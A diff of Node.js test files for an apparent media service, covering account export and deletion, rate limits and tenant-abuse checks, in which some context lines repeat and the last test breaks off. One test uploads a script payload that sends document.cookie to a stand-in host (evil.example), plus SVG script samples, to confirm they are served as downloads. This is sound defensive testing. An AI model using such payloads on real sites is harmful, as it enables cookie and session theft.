- const exp = ev('network.account.export_requested', { export_id: 'exp_01J8Z3Q4R5S6T7V8W9X0Y1Z2F1', subject: DANA, requested_at: new Date().toISOString(), deadline: new Date(Date.now() + 1800000).toISOString() });
- assert.strictEqual(await accountData.apply({ ...exp, source: 'live' }, { send }), 'ignored:source');
- assert.strictEqual(await accountData.apply(exp, { send }), 'exported');
- const part = sent[0].body;
- assert.ok(validate('network.account-export-part@1', part).valid, JSON.stringify(validate('network.account-export-part@1', part).errors));
- const files = Object.fromEntries(part.files.map((f) => [f.name, f.content]));
- assert.strictEqual(files['objects.json'].length, 6, "the subject's own objects only");
- assert.deepStrictEqual(files['vods.json'].map((v) => v.title), ['my stream']);
- assert.ok(!JSON.stringify(part).includes('sk_secret') && !JSON.stringify(part).includes('b2/secret/key'), 'no stream or storage keys');
- assert.strictEqual(await accountData.apply(exp, { send }), 'unchanged');
- assert.strictEqual(sent.length, 1);
+ (async () => {
+ const sent = [];
+ let failNext = false;
+ const send = async (p, body) => { if (failNext) { failNext = false; return { ok: false, status: 503 }; } sent.push({ path: p, body }); return { ok: true, status: 200 }; };
+ try {
+ assert.ok(require('../server/revocations').TOPICS.includes('network.account.deleted'), 'Media subscribes');
+ // ── Export ──
+ const exp = ev('network.account.export_requested', { export_id: 'exp_01J8Z3Q4R5S6T7V8W9X0Y1Z2F1', subject: DANA, requested_at: new Date().toISOString(), deadline: new Date(Date.now() + 1800000).toISOString() });
+ assert.strictEqual(await accountData.apply({ ...exp, source: 'live' }, { send }), 'ignored:source');
+ assert.strictEqual(await accountData.apply(exp, { send }), 'exported');
+ const part = sent[0].body;
+ assert.ok(validate('network.account-export-part@1', part).valid, JSON.stringify(validate('network.account-export-part@1', part).errors));
+ const files = Object.fromEntries(part.files.map((f) => [f.name, f.content]));
+ assert.strictEqual(files['objects.json'].length, 6, "the subject's own objects only");
+ assert.deepStrictEqual(files['vods.json'].map((v) => v.title), ['my stream']);
+ assert.ok(!JSON.stringify(part).includes('sk_secret') && !JSON.stringify(part).includes('b2/secret/key'), 'no stream or storage keys');
+ assert.strictEqual(await accountData.apply(exp, { send }), 'unchanged');
+ assert.strictEqual(sent.length, 1);
- // ── Deletion ──
- const del = ev('network.account.deleted', { deletion_id: 'del_01J8Z3Q4R5S6T7V8W9X0Y1Z2G1', subject: DANA, aliases: [OLD], requested_at: new Date().toISOString(), deleted_at: new Date().toISOString() });
- failNext = true;
- await assert.rejects(accountData.apply(del, { send }), /confirmation refused: 503/);
- const state = Object.fromEntries(db.prepare('SELECT id, lifecycle_status AS s FROM media_objects').all().map((r) => [r.id.slice(-2), r.s]));
- assert.deepStrictEqual(state, { D1: 'deleted', D2: 'deleted', D3: 'ready', D4: 'deleted', D5: 'deleted', D6: 'deleted', D7: 'ready', D8: 'ready' });
- assert.ok(!fs.existsSync(vodFile) && !fs.existsSync(clipFile), 'the bytes are gone');
- assert.strictEqual(db.prepare('SELECT COUNT(*) AS n FROM vods').get().n + db.prepare('SELECT COUNT(*) AS n FROM clips').get().n, 0);
- assert.strictEqual(await accountData.apply(del, { send }), 'confirmed', 'the retry confirms without erasing again');
- const conf = sent[1];
- assert.strictEqual(conf.path, '/internal/account-deletions/del_01J8Z3Q4R5S6T7V8W9X0Y1Z2G1/confirmations');
- assert.ok(validate('network.account-deletion-confirmation@1', conf.body).valid, JSON.stringify(validate('network.account-deletion-confirmation@1', conf.body).errors));
- assert.deepStrictEqual(conf.body.erased, { objects: 2, vods: 1, clips: 1, thumbnails: 1 });
- assert.deepStrictEqual(conf.body.retained, { held_media: 1, frozen_screenshots: 1 });
- assert.strictEqual(await accountData.apply(del, { send }), 'unchanged');
- assert.strictEqual(sent.length, 2);
- } finally {
- fs.rmSync(tmp, { recursive: true, force: true });
- }
- console.log('media account export and deletion: all checks passed');
-})().catch((e) => { console.error(e); process.exit(1); });
+ // ── Deletion ──
+ const del = ev('network.account.deleted', { deletion_id: 'del_01J8Z3Q4R5S6T7V8W9X0Y1Z2G1', subject: DANA, aliases: [OLD], requested_at: new Date().toISOString(), deleted_at: new Date().toISOString() });
+ failNext = true;
+ await assert.rejects(accountData.apply(del, { send }), /confirmation refused: 503/);
+ const state = Object.fromEntries((await db.prepare('SELECT id, lifecycle_status AS s FROM media_objects').all()).map((r) => [r.id.slice(-2), r.s]));
+ assert.deepStrictEqual(state, { D1: 'deleted', D2: 'deleted', D3: 'ready', D4: 'deleted', D5: 'deleted', D6: 'deleted', D7: 'ready', D8: 'ready' });
+ assert.ok(!fs.existsSync(vodFile) && !fs.existsSync(clipFile), 'the bytes are gone');
+ assert.strictEqual((await db.prepare('SELECT COUNT(*) AS n FROM vods').get()).n + (await db.prepare('SELECT COUNT(*) AS n FROM clips').get()).n, 0);
+ assert.strictEqual(await accountData.apply(del, { send }), 'confirmed', 'the retry confirms without erasing again');
+ const conf = sent[1];
+ assert.strictEqual(conf.path, '/internal/account-deletions/del_01J8Z3Q4R5S6T7V8W9X0Y1Z2G1/confirmations');
+ assert.ok(validate('network.account-deletion-confirmation@1', conf.body).valid, JSON.stringify(validate('network.account-deletion-confirmation@1', conf.body).errors));
+ assert.deepStrictEqual(conf.body.erased, { objects: 2, vods: 1, clips: 1, thumbnails: 1 });
+ assert.deepStrictEqual(conf.body.retained, { held_media: 1, frozen_screenshots: 1 });
+ assert.strictEqual(await accountData.apply(del, { send }), 'unchanged');
+ assert.strictEqual(sent.length, 2);
+ } finally {
+ fs.rmSync(tmp, { recursive: true, force: true });
+ }
+ console.log('media account export and deletion: all checks passed');
+ })().catch((e) => { console.error(e); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,112 +10,114 @@ const path = require('path');
@@ -10,112 +10,114 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-limits-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.FILES_PATH = dir('files');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.OV_NETWORK_URL = 'https://openvibe.network';
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
-process.env.MEDIA_LIMITS_MINUTE = '3';
-process.env.MEDIA_LIMITS_HOUR = '100';
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-limits-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.FILES_PATH = dir('files');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.OV_NETWORK_URL = 'https://openvibe.network';
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
+ process.env.MEDIA_LIMITS_MINUTE = '3';
+ process.env.MEDIA_LIMITS_HOUR = '100';
-const db = require('../server/db/database');
-const auth = require('../server/auth');
-const actorLimits = require('../server/actor-limits');
-const objectRoutes = require('../server/objects/routes');
-const { serviceAuth } = require('openvibe-contracts');
-const express = require('express');
+ const db = require('../server/db/database');
+ const auth = require('../server/auth');
+ const actorLimits = require('../server/actor-limits');
+ const objectRoutes = require('../server/objects/routes');
+ const { serviceAuth } = require('openvibe-contracts');
+ const express = require('express');
-const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
-auth._setNetworkPublicKeyForTests(keys.publicKey);
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-const iat = Math.floor(Date.now() / 1000);
-const tok = (sub) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub, actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: ['live'], iat, exp: iat + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}` }, keys.privateKey);
-const ONE = tok('svc:one'), TWO = tok('svc:two');
+ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
+ auth._setNetworkPublicKeyForTests(keys.publicKey);
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ const iat = Math.floor(Date.now() / 1000);
+ const tok = (sub) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub, actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: ['live'], iat, exp: iat + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}` }, keys.privateKey);
+ const ONE = tok('svc:one'), TWO = tok('svc:two');
-// The limiter's clock: 15 s into a minute, so the minute window has 45 s left.
-let t = Date.UTC(2026, 8, 27, 12, 0, 15);
-actorLimits._setClockForTests(() => t);
-const refusals = [];
-actorLimits.bindMetrics({ counter: () => ({ inc: (labels) => refusals.push(labels) }) });
-const logged = [];
-const warn = console.warn;
-console.warn = (...a) => { logged.push(a.join(' ')); };
+ // The limiter's clock: 15 s into a minute, so the minute window has 45 s left.
+ let t = Date.UTC(2026, 8, 27, 12, 0, 15);
+ actorLimits._setClockForTests(() => t);
+ const refusals = [];
+ actorLimits.bindMetrics({ counter: () => ({ inc: (labels) => refusals.push(labels) }) });
+ const logged = [];
+ const warn = console.warn;
+ console.warn = (...a) => { logged.push(a.join(' ')); };
-const app = express();
-app.use(express.json());
-app.use('/api/v2/:app/objects', objectRoutes);
-const server = http.createServer(app);
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v2/:app/objects', objectRoutes);
+ const server = http.createServer(app);
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const call = async (method, p, { bearer, body, headers = {} } = {}) => {
- const h = { ...headers };
- if (bearer) h.authorization = `Bearer ${bearer}`;
- let payload;
- if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
- const res = await fetch(base + p, { method, headers: h, body: payload });
- const text = await res.text();
- let json = null; try { json = JSON.parse(text); } catch { /* not json */ }
- return { status: res.status, body: json, headers: res.headers };
- };
- const O = '/api/v2/live/objects';
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const call = async (method, p, { bearer, body, headers = {} } = {}) => {
+ const h = { ...headers };
+ if (bearer) h.authorization = `Bearer ${bearer}`;
+ let payload;
+ if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
+ const res = await fetch(base + p, { method, headers: h, body: payload });
+ const text = await res.text();
+ let json = null; try { json = JSON.parse(text); } catch { /* not json */ }
+ return { status: res.status, body: json, headers: res.headers };
+ };
+ const O = '/api/v2/live/objects';
- // ── A read route: MEDIA_LIMITS_MINUTE (3 here) per caller ──
- for (let i = 0; i < 3; i++) assert.strictEqual((await call('GET', O, { bearer: ONE })).status, 200);
- let r = await call('GET', O, { bearer: ONE });
- assert.strictEqual(r.status, 429, 'the fourth read in the minute is refused');
- assert.strictEqual(r.headers.get('retry-after'), '45', 'Retry-After: the rest of the minute');
- assert.ok(/^application\/problem\+json/.test(r.headers.get('content-type')));
- assert.deepStrictEqual([r.body.code, r.body.status, r.body.retry_after_seconds], ['rate_limited', 429, 45]);
- assert.ok(r.body.detail.includes('media.object.list'), r.body.detail);
- assert.strictEqual((await call('GET', O, { bearer: TWO })).status, 200, 'another principal still passes');
- assert.strictEqual((await call('GET', O, { bearer: 'not-a-token' })).status, 401, 'no credential: 401 from auth first, never a 429');
- assert.strictEqual((await call('GET', `${O}/med_missing`, { bearer: ONE })).status, 404, 'each route has its own count');
- t += 45 * 1000;
- assert.strictEqual((await call('GET', O, { bearer: ONE })).status, 200, 'the next minute opens the window again');
- console.log('✅ reads: 3 per minute per principal, 429 rate_limited + Retry-After, another principal passes');
+ // ── A read route: MEDIA_LIMITS_MINUTE (3 here) per caller ──
+ for (let i = 0; i < 3; i++) assert.strictEqual((await call('GET', O, { bearer: ONE })).status, 200);
+ let r = await call('GET', O, { bearer: ONE });
+ assert.strictEqual(r.status, 429, 'the fourth read in the minute is refused');
+ assert.strictEqual(r.headers.get('retry-after'), '45', 'Retry-After: the rest of the minute');
+ assert.ok(/^application\/problem\+json/.test(r.headers.get('content-type')));
+ assert.deepStrictEqual([r.body.code, r.body.status, r.body.retry_after_seconds], ['rate_limited', 429, 45]);
+ assert.ok(r.body.detail.includes('media.object.list'), r.body.detail);
+ assert.strictEqual((await call('GET', O, { bearer: TWO })).status, 200, 'another principal still passes');
+ assert.strictEqual((await call('GET', O, { bearer: 'not-a-token' })).status, 401, 'no credential: 401 from auth first, never a 429');
+ assert.strictEqual((await call('GET', `${O}/med_missing`, { bearer: ONE })).status, 404, 'each route has its own count');
+ t += 45 * 1000;
+ assert.strictEqual((await call('GET', O, { bearer: ONE })).status, 200, 'the next minute opens the window again');
+ console.log('✅ reads: 3 per minute per principal, 429 rate_limited + Retry-After, another principal passes');
- // ── An app's own key is not counted; an app acting for a user is counted per user ──
- for (let i = 0; i < 8; i++) assert.strictEqual((await call('GET', O, { bearer: 'live-key' })).status, 200);
- const asUser = (id) => ({ bearer: 'live-key', headers: { 'x-ov-user-id': String(id) } });
- for (let i = 0; i < 3; i++) assert.strictEqual((await call('GET', O, asUser(7))).status, 200);
- r = await call('GET', O, asUser(7));
- assert.deepStrictEqual([r.status, r.body.code], [429, 'rate_limited'], 'user 7 of live is over');
- assert.strictEqual((await call('GET', O, asUser(8))).status, 200, 'user 8 of live still passes');
- assert.strictEqual((await call('GET', O, { bearer: 'live-key' })).status, 200, 'the app itself still passes');
- console.log('✅ app key not counted; X-OV-User-Id counted per user');
+ // ── An app's own key is not counted; an app acting for a user is counted per user ──
+ for (let i = 0; i < 8; i++) assert.strictEqual((await call('GET', O, { bearer: 'live-key' })).status, 200);
+ const asUser = (id) => ({ bearer: 'live-key', headers: { 'x-ov-user-id': String(id) } });
+ for (let i = 0; i < 3; i++) assert.strictEqual((await call('GET', O, asUser(7))).status, 200);
+ r = await call('GET', O, asUser(7));
+ assert.deepStrictEqual([r.status, r.body.code], [429, 'rate_limited'], 'user 7 of live is over');
+ assert.strictEqual((await call('GET', O, asUser(8))).status, 200, 'user 8 of live still passes');
+ assert.strictEqual((await call('GET', O, { bearer: 'live-key' })).status, 200, 'the app itself still passes');
+ console.log('✅ app key not counted; X-OV-User-Id counted per user');
- // ── A write route has its own, tighter numbers: init 30 per minute ──
- t = Date.UTC(2026, 8, 27, 12, 5, 0);
- const init = (bearer) => call('POST', O, { bearer, body: { kind: 'file', mime_type: 'text/plain', size_bytes: 5, visibility: 'private' } });
- for (let i = 0; i < 30; i++) assert.strictEqual((await init(ONE)).status, 201);
- r = await init(ONE);
- assert.deepStrictEqual([r.status, r.body.code, r.headers.get('retry-after')], [429, 'rate_limited', '60']);
- const before = db.get('SELECT COUNT(*) AS n FROM media_objects').n;
- await init(ONE);
- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_objects').n, before, 'a refused init makes nothing');
- assert.strictEqual((await init(TWO)).status, 201, 'another principal still uploads');
- console.log('✅ uploads: 30 inits per minute per principal, refused before any row is made');
+ // ── A write route has its own, tighter numbers: init 30 per minute ──
+ t = Date.UTC(2026, 8, 27, 12, 5, 0);
+ const init = async (bearer) => await call('POST', O, { bearer, body: { kind: 'file', mime_type: 'text/plain', size_bytes: 5, visibility: 'private' } });
+ for (let i = 0; i < 30; i++) assert.strictEqual((await init(ONE)).status, 201);
+ r = await init(ONE);
+ assert.deepStrictEqual([r.status, r.body.code, r.headers.get('retry-after')], [429, 'rate_limited', '60']);
+ const before = (await db.get('SELECT COUNT(*) AS n FROM media_objects')).n;
+ await init(ONE);
+ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_objects')).n, before, 'a refused init makes nothing');
+ assert.strictEqual((await init(TWO)).status, 201, 'another principal still uploads');
+ console.log('✅ uploads: 30 inits per minute per principal, refused before any row is made');
- // ── Refusals are logged (no credential) and counted ──
- assert.ok(refusals.some((l) => l.limit === 'media.object.list' && l.window === 'minute'));
- assert.ok(refusals.some((l) => l.limit === 'media.object.upload' && l.window === 'minute'));
- assert.ok(logged.some((l) => l.includes('[Limits] media.object.upload: svc:one refused, over 30 per minute')), logged.join('\n'));
- assert.ok(!logged.some((l) => l.includes('live-key') || l.includes(ONE)), 'no credential in the log');
- assert.strictEqual(actorLimits.actor({ authType: 'app', appId: 'live', ip: '127.0.0.1' }), null);
- assert.strictEqual(actorLimits.actor({ ip: '203.0.113.9' }), 'ip:203.0.113.9', 'an upload token alone: by address');
- assert.strictEqual(actorLimits.actor({ person: { subject: 'usr_x' } }), 'user:usr_x');
- console.log('✅ refusals logged and counted (media_rate_limited_total)');
+ // ── Refusals are logged (no credential) and counted ──
+ assert.ok(refusals.some((l) => l.limit === 'media.object.list' && l.window === 'minute'));
+ assert.ok(refusals.some((l) => l.limit === 'media.object.upload' && l.window === 'minute'));
+ assert.ok(logged.some((l) => l.includes('[Limits] media.object.upload: svc:one refused, over 30 per minute')), logged.join('\n'));
+ assert.ok(!logged.some((l) => l.includes('live-key') || l.includes(ONE)), 'no credential in the log');
+ assert.strictEqual(actorLimits.actor({ authType: 'app', appId: 'live', ip: '127.0.0.1' }), null);
+ assert.strictEqual(actorLimits.actor({ ip: '203.0.113.9' }), 'ip:203.0.113.9', 'an upload token alone: by address');
+ assert.strictEqual(actorLimits.actor({ person: { subject: 'usr_x' } }), 'user:usr_x');
+ console.log('✅ refusals logged and counted (media_rate_limited_total)');
- console.warn = warn;
- server.close();
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('\nactor-limits: all passed');
-})().catch((err) => { console.warn = warn; console.error(err); process.exit(1); });
+ console.warn = warn;
+ server.close();
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('\nactor-limits: all passed');
+ })().catch((err) => { console.warn = warn; console.error(err); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -13,143 +13,145 @@ const path = require('path');
@@ -13,143 +13,145 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tenantabuse-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.FILES_PATH = dir('files');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.OV_NETWORK_URL = 'https://openvibe.network';
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
-process.env.MEDIA_APP_TENANT_QUOTA_MB = '2';
-process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '1';
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tenantabuse-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.FILES_PATH = dir('files');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.OV_NETWORK_URL = 'https://openvibe.network';
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
+ process.env.MEDIA_APP_TENANT_QUOTA_MB = '2';
+ process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '1';
-const db = require('../server/db/database');
-const auth = require('../server/auth');
-const objectRoutes = require('../server/objects/routes');
-const model = require('../server/objects/model');
-const { serviceAuth, ids } = require('openvibe-contracts');
-const express = require('express');
+ const db = require('../server/db/database');
+ const auth = require('../server/auth');
+ const objectRoutes = require('../server/objects/routes');
+ const model = require('../server/objects/model');
+ const { serviceAuth, ids } = require('openvibe-contracts');
+ const express = require('express');
-const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
-auth._setNetworkPublicKeyForTests(keys.publicKey);
+ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
+ auth._setNetworkPublicKeyForTests(keys.publicKey);
-const PA = `prj_${ids.ulid()}`;
-const PB = `prj_${ids.ulid()}`;
-const APP_A = `app_${ids.ulid()}`;
-const now = Math.floor(Date.now() / 1000);
-const appTok = ({ project = PA, env = 'production' } = {}) => serviceAuth.signServiceToken({
- iss: 'https://openvibe.network', sub: `app:${APP_A}`, actor_type: 'app', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: [project],
- project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,
-}, keys.privateKey);
+ const PA = `prj_${ids.ulid()}`;
+ const PB = `prj_${ids.ulid()}`;
+ const APP_A = `app_${ids.ulid()}`;
+ const now = Math.floor(Date.now() / 1000);
+ const appTok = ({ project = PA, env = 'production' } = {}) => serviceAuth.signServiceToken({
+ iss: 'https://openvibe.network', sub: `app:${APP_A}`, actor_type: 'app', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: [project],
+ project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,
+ }, keys.privateKey);
-const app = express();
-app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
-app.use(express.json());
-app.use('/api/v1/:app/files', require('../server/files/routes'));
-app.use('/api/v2/:app/objects', objectRoutes);
-app.use('/o', objectRoutes.publicRouter);
-app.use('/', require('../server/public/routes'));
-const server = http.createServer(app);
+ const app = express();
+ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
+ app.use(express.json());
+ app.use('/api/v1/:app/files', require('../server/files/routes'));
+ app.use('/api/v2/:app/objects', objectRoutes);
+ app.use('/o', objectRoutes.publicRouter);
+ app.use('/', require('../server/public/routes'));
+ const server = http.createServer(app);
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const local = (u) => base + String(u).replace('https://media.test', '');
- const req = async (method, p, { bearer, json, form, raw, headers = {} } = {}) => {
- const h = { ...headers };
- if (bearer) h.authorization = `Bearer ${bearer}`;
- let body;
- if (json !== undefined) { h['content-type'] = 'application/json'; body = JSON.stringify(json); }
- if (form) body = form;
- if (raw !== undefined) body = raw;
- const r = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body, redirect: 'manual' });
- const text = await r.text();
- let parsed = null;
- try { parsed = JSON.parse(text); } catch { /* bytes */ }
- return { status: r.status, body: parsed, text, headers: r.headers };
- };
- const upload = (project, bearer, content, name, type) => {
- const fd = new FormData();
- fd.append('file', new Blob([Buffer.from(content)], { type }), name);
- return req('POST', `/api/v1/${project}/files`, { bearer, form: fd });
- };
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const local = (u) => base + String(u).replace('https://media.test', '');
+ const req = async (method, p, { bearer, json, form, raw, headers = {} } = {}) => {
+ const h = { ...headers };
+ if (bearer) h.authorization = `Bearer ${bearer}`;
+ let body;
+ if (json !== undefined) { h['content-type'] = 'application/json'; body = JSON.stringify(json); }
+ if (form) body = form;
+ if (raw !== undefined) body = raw;
+ const r = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body, redirect: 'manual' });
+ const text = await r.text();
+ let parsed = null;
+ try { parsed = JSON.parse(text); } catch { /* bytes */ }
+ return { status: r.status, body: parsed, text, headers: r.headers };
+ };
+ const upload = async (project, bearer, content, name, type) => {
+ const fd = new FormData();
+ fd.append('file', new Blob([Buffer.from(content)], { type }), name);
+ return await req('POST', `/api/v1/${project}/files`, { bearer, form: fd });
+ };
- // ── 1. Uploaded HTML / SVG never renders on the Media origin ──
- const html = '<script>fetch("https://evil.example/?t="+document.cookie)</script>';
- let r = await upload(PA, appTok(), html, 'evil.html', 'text/html');
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
- assert.strictEqual(r.status, 200);
- assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff', '/f/ sends nosniff');
- assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `HTML is served as a download, got ${r.headers.get('content-disposition')}`);
- r = await req('GET', `/f/${encodeURIComponent((await upload(PA, appTok(), html, 'evil.html', 'text/html')).body.key)}`, { headers: { range: 'bytes=0-10' } });
- assert.strictEqual(r.status, 206);
- assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'range responses too');
- assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff');
+ // ── 1. Uploaded HTML / SVG never renders on the Media origin ──
+ const html = '<script>fetch("https://evil.example/?t="+document.cookie)</script>';
+ let r = await upload(PA, appTok(), html, 'evil.html', 'text/html');
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff', '/f/ sends nosniff');
+ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `HTML is served as a download, got ${r.headers.get('content-disposition')}`);
+ r = await req('GET', `/f/${encodeURIComponent((await upload(PA, appTok(), html, 'evil.html', 'text/html')).body.key)}`, { headers: { range: 'bytes=0-10' } });
+ assert.strictEqual(r.status, 206);
+ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'range responses too');
+ assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff');
- r = await upload(PA, appTok(), '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>', 'x.svg', 'image/svg+xml');
- assert.strictEqual(r.status, 201);
- r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
- assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'SVG is served as a download');
+ r = await upload(PA, appTok(), '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>', 'x.svg', 'image/svg+xml');
+ assert.strictEqual(r.status, 201);
+ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
+ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'SVG is served as a download');
- // MIME types are case-insensitive: image/SVG+xml is still SVG. (FormData lowercases, so raw multipart.)
- const boundary = 'ovboundary';
- const multipart = Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file"; filename="y.svg"\r\nContent-Type: image/SVG+xml\r\n\r\n<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>\r\n--${boundary}--\r\n`);
- r = await req('POST', `/api/v1/${PA}/files`, { bearer: appTok(), raw: multipart, headers: { 'content-type': `multipart/form-data; boundary=${boundary}` } });
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
- assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `mixed-case SVG is a download, got ${r.headers.get('content-type')} ${r.headers.get('content-disposition')}`);
+ // MIME types are case-insensitive: image/SVG+xml is still SVG. (FormData lowercases, so raw multipart.)
+ const boundary = 'ovboundary';
+ const multipart = Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file"; filename="y.svg"\r\nContent-Type: image/SVG+xml\r\n\r\n<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>\r\n--${boundary}--\r\n`);
+ r = await req('POST', `/api/v1/${PA}/files`, { bearer: appTok(), raw: multipart, headers: { 'content-type': `multipart/form-data; boundary=${boundary}` } });
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
+ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `mixed-case SVG is a download, got ${r.headers.get('content-type')} ${r.headers.get('content-disposition')}`);
- // Sandbox signed URLs get the same treatment.
- r = await upload(PA, appTok({ env: 'sandbox' }), html, 'evil.html', 'text/html');
- assert.strictEqual(r.status, 201);
- r = await req('GET', local(r.body.url));
- assert.strictEqual(r.status, 200);
- assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'sandbox HTML is a download too');
+ // Sandbox signed URLs get the same treatment.
+ r = await upload(PA, appTok({ env: 'sandbox' }), html, 'evil.html', 'text/html');
+ assert.strictEqual(r.status, 201);
+ r = await req('GET', local(r.body.url));
+ assert.strictEqual(r.status, 200);
+ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'sandbox HTML is a download too');
- // Pictures and plain text still display inline.
- const png = Buffer.from('89504e470d0a1a0a0000000d49484452', 'hex');
- r = await upload(PA, appTok(), png, 'pic.png', 'image/png');
- r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
- assert.strictEqual(r.headers.get('content-type'), 'image/png');
